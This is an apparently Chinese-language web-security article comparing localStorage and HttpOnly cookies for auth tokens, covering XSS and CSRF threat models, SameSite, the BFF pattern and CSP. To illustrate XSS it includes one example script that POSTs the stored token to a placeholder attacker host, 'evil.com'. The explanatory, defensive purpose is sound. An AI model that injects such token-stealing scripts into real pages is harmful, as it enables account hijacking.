Appearance
localStorage vs Cookie 存储 Token
登录成功后服务端返回 Token,前端要存下来,后续请求带上。选 localStorage 还是 Cookie?决策的关键不是"哪个更方便",而是信任模型不同——你选择信任 JS 运行时,还是信任浏览器的自动行为。
localStorage 方案
工作方式
js
// 登录成功后存
localStorage.setItem('auth_token', response.token);
// 每次请求手动带
fetch('/api/user', {
headers: { 'Authorization': `Bearer ${localStorage.getItem('auth_token')}` }
});Token 存在浏览器 storage 里,同源 JS 可读写,不随请求自动发送。
威胁模型:XSS
localStorage 面临的核心攻击面是 XSS。一旦页面被注入恶意脚本,攻击者一行代码就能拿到 token:
js
// 攻击脚本
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({ token: localStorage.getItem('auth_token') })
});攻击路径:用户输入未过滤 → 恶意脚本注入 → 读取 localStorage → token 外泄。
这不是 localStorage 的安全漏洞——它的设计语义就是"同源 JS 可以读写",这是 feature 不是 bug。真正的问题是 XSS 防御在复杂前端项目里几乎不可能做到 100%:第三方 npm 包、富文本渲染、广告脚本、浏览器扩展,每一个都是潜在的 XSS 入口。
为什么很多人选它
- 不需要后端配合——纯前端就能搞定
- 不随请求自动发送,不会增加每个请求的体积(Cookie 会被自动附加到所有同域请求)
- ~5MB 容量,JWT 再大也无所谓
- SPA 天然顺手:手动管理 Authorization header 符合 REST 直觉
Cookie 方案(HttpOnly)
工作方式
http
Set-Cookie: auth_token=xxx; HttpOnly; Secure; SameSite=Strict; Max-Age=86400; Path=/后端通过 Set-Cookie 响应头下发,浏览器存储并在后续请求中自动附加。前端 JS 完全不碰 token——document.cookie 也读不到被标记为 HttpOnly 的 Cookie。
威胁模型:CSRF
Cookie 的自动发送特性引入了 CSRF:
text
攻击路径:
用户登录 siteA(Cookie 已设置)
→ 用户访问恶意站点 siteB
→ siteB 的页面发起 <form> 或 fetch 请求到 siteA
→ 浏览器自动附加 siteA 的 Cookie
→ 请求以用户身份在 siteA 上执行(转账、改密码等)但这个问题的现代解法已经成熟:
- SameSite=Strict/Lax:浏览器在跨站请求中不发送 Cookie,从平台层解决 CSRF
- Origin / Referer 校验:服务端检查请求来源
- CSRF Token:需要攻击者无法获取的额外随机值(但和 SameSite 相比属于上一代方案)
SameSite 是浏览器的内置机制,不需要应用层代码配合。2020 年之后主流浏览器已经将 SameSite 默认值设为 Lax,CSRF 的威胁面被大幅压缩。
HttpOnly 的核心价值
text
HttpOnly Cookie:
- JS 完全不可读写(document.cookie 中不可见)
- 只在 HTTP 请求中自动传输
- XSS 即使成功执行,也无法窃取 token 本身这意味着 localStorage 最害怕的攻击场景——token 被窃取——在 HttpOnly Cookie 方案下直接被消除。注意:攻击者仍然可以通过 XSS 发起请求(浏览器会自动带 Cookie),但无法偷走 token 离线使用。这是两种完全不同的危害等级:前者是一次性利用,后者是持久化泄露。
核心对比
| 维度 | localStorage | Cookie (HttpOnly) |
|---|---|---|
| JS 可读写 | 是 | 否(HttpOnly 标记) |
| 随请求发送 | 否,手动附加 Header | 是,浏览器自动 |
| 主要威胁 | XSS → token 窃取 | CSRF → 请求伪造 |
| 威胁严重度 | token 持久化泄露 | 单次利用(无法窃取 token) |
| 容量 | ~5MB | ~4KB(单条 Cookie) |
| 跨域 | 需手动处理 CORS | 受 Domain / SameSite 控制 |
| 过期控制 | 需手动实现逻辑 | Max-Age / Expires |
| 后端依赖 | 无 | 需要 Set-Cookie 配合 |
| 子域共享 | 不支持 | 可配置 Domain |
工程实践
1. 能控制后端 → HttpOnly Cookie
如果后端在同域或可控子域下,用 HttpOnly + Secure + SameSite=Strict Cookie 存 token,不需要纠结。
不是因为 Cookie 方案绝对安全,而是因为:XSS 比 CSRF 更难防御。XSS 的入口太多(第三方依赖、富文本、用户生成内容、广告脚本、浏览器插件),而 CSRF 已经被 SameSite 降维成了可控问题。把防御重心放在更容易防守的路径上是理性的工程决策。
2. BFF 模式
很多团队的实际做法:
text
浏览器 ←→ BFF(同域)←→ 后端服务
Cookie Internal TokenBFF(Backend For Frontend)和前端部署在同域下,浏览器侧用 Cookie 维护 session。BFF 向后端服务转发时带 Internal Token。前端完全不知道 token 的存在——只维护一个 session cookie。
好处:
- 浏览器侧:Cookie 方案,免受 XSS token 窃取
- 服务间:Bearer Token / mTLS,标准服务间认证
- token 刷新逻辑集中在 BFF,前端无感知
3. 只能用 localStorage 时
跨域 API、第三方服务、静态部署等场景下,可能无法控制后端 Set-Cookie。此时用 localStorage 是无奈之举,需要配套措施:
- CSP(Content Security Policy):严格限制脚本来源,这是 XSS 防御的最后一道防线。
script-src 'self'能挡住大部分注入。 - Token 短生命周期:access token 有效期控制在 5-15 分钟,即使泄露窗口也有限。
- Refresh token 走 Cookie:如果 OAuth 流程支持,把 refresh token 放在 HttpOnly Cookie 里,access token 存 JS 内存(而非 localStorage)。这样即使 XSS 拿到了 access token,也只能在窗口期内使用。
4. 折中方案:Access Token 存内存
js
// access token 只存在 JS 闭包里,不持久化
let accessToken = null;
// refresh token 在 HttpOnly Cookie 中,JS 不可见
// 刷新:POST /auth/refresh → 浏览器自动带 cookie → 返回新 access token
async function getToken() {
if (!accessToken) {
const res = await fetch('/auth/refresh', { method: 'POST', credentials: 'include' });
accessToken = (await res.json()).access_token;
}
return accessToken;
}这个方案的取舍:access token 刷新页面就丢失(需要重新换),但泄露窗口被压缩到单页面生命周期。XSS 能在当前会话中拿到 access token,但无法持久化窃取——页面关闭后攻击者手里的 token 就失效了。
总结
两个方案的选择本质上不取决于技术偏好,而取决于你能控制后端吗:
- 能 → HttpOnly Cookie,信任浏览器平台的安全机制,把复杂度让渡给基础设施
- 不能 → localStorage,把防御重心转移到 CSP 和 token 生命周期管理上
没有绝对安全的方案。工程决策是在给定约束下选风险更可控的那个。在这个问题里,HttpOnly Cookie + SameSite 是当前约束下更可控的选项——不是因为 Cookie 没有攻击面,而是因为它的攻击面(CSRF)已经被浏览器原生机制有效缓解,而 localStorage 的攻击面(XSS)在当前前端生态里仍然是高风险的。
